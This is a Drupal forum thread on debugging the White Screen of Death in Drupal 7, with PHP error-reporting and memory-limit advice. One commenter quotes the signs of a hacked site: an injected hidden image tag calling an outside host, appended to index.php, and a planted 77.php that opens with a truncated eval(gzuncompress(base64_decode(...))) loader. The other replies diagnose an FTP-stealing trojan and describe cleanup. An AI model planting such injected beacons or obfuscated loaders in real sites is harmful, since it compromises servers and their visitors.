WSOD on Drupal 7

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Jon_Roland's picture

I have encountered the White Screen of Death (WSOD) whenever I try to add any content on http://nullifynow.net. It is discussed at http://drupal.org/node/1089142#comment-4204372

If anyone has encountered and solved this problem I would appreciate some help.

Comments

WSOD

jghyde's picture

I have encountered the same problem on shared hosts, running VPS. Here is how to debug it. Open the [root directory]/index.php and paste this at the very top:

<?php

error_reporting
(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);

// $Id: index.php,v 1.94 2007/12/26...

?>

The PHP error (which is probably memory) will appear. This is IAW the WSOD instructions here: http://drupal.org/node/158043

You may need to open php.ini and increase your memory. The default memory limit is usually 32M, way too low for even D6.

Joe

for me it is not the problem

luka srbija's picture

I increased memory to 256M and it still gives>

"Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, webmaster@..biz and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.

Additionally, a 500 Internal Server Error error was encountered while trying to use an ErrorDocument to handle the request."

@luka: please grab the newest

michaelfavia's picture

@luka: please grab the newest copy of views for drupal7 if you are using it. IIRC earl fixed a memory leak that you might be experiencing. Otherwise you can use xdebug to actually see where your memory leak is.

tnx a lot Michael

luka srbija's picture

my info.php still shows 32M but the site works, dont know how, maybe some of this that I repaired was the problem:

  1. Index.php had a last line:
    img heigth="1" width="1" border="0" src="http://imgaaa.net/t.php?id=9490090"

2.a new file in root folder: 77.php that begins thislike:
<? eval(gzuncompress(base64_decode('eNqdWNtuGkkQ/ZmVSKRVBI........

3.new DIR named .log with only one file: xmlrpc.txt -with 1 line: bestnetblog.net which opens i browser like mailto command.?? crazy ))

Shod I increase memory and delete all users?

p.s. I like this audio captcha, first time I'm seeing something like it.

Luka, You or someone who also

osalcedo's picture

Luka,

You or someone who also uses your FTP data had got a trojan --> win32/kryptik

This trojan sends all your FTP data and passwords to someone who than uses it to change all index.html and index.php files on your server and adds to the end a string like < img heigth="1" width="1" border="0" src="http://imgaaa.net/t.php?id=6744753" >
The number at the end changes on every file...

Replace the files on your server with a clean copy. Also, be sure to scan the PC being used to access the server for that pesky trojan (before you access the server).

Orlando Salcedo
www.islandwebdevel.com

I've broken the link in the

gerhard killesreiter's picture

I've broken the link in the above comment so that it deplays as text as was probably intended. It did give a "safe browsing alert"...

Noticing this problem with IE on D7 only....

Brakash's picture

Anyone else experiencing this issue? Chrome and Firefox are working just fine. Originally we thought it was due to a path alias, as it happened every time if we added a "/" (ie: foo/foobar) to the core path alias data. We removed that, and those links work fine in IE (we've only tried IE 8 at the moment), though now the site is doing the WSOD seemingly at random (after several page loads on the site). Let me know if you need more information - we are on a shared hosted server - Fatcow and have set the php.ini to our allowed memory max of 64M.

EDIT: On looking at the problem further - it isn't the white screen of death perse, but is an internal server error as follows:
Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, cgiadmin@yourhostingaccount.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.

Should I post this elsewhere?

EDIT 2: Weird thing is, if I clear off the cookies for IE, the problem clears up for a bit, then after a random number of page loads (using back button as well), it comes back and no page will load on my site. I've gone through everything on the WSOD thread that could be an issue to no avail. Please help.

Austin

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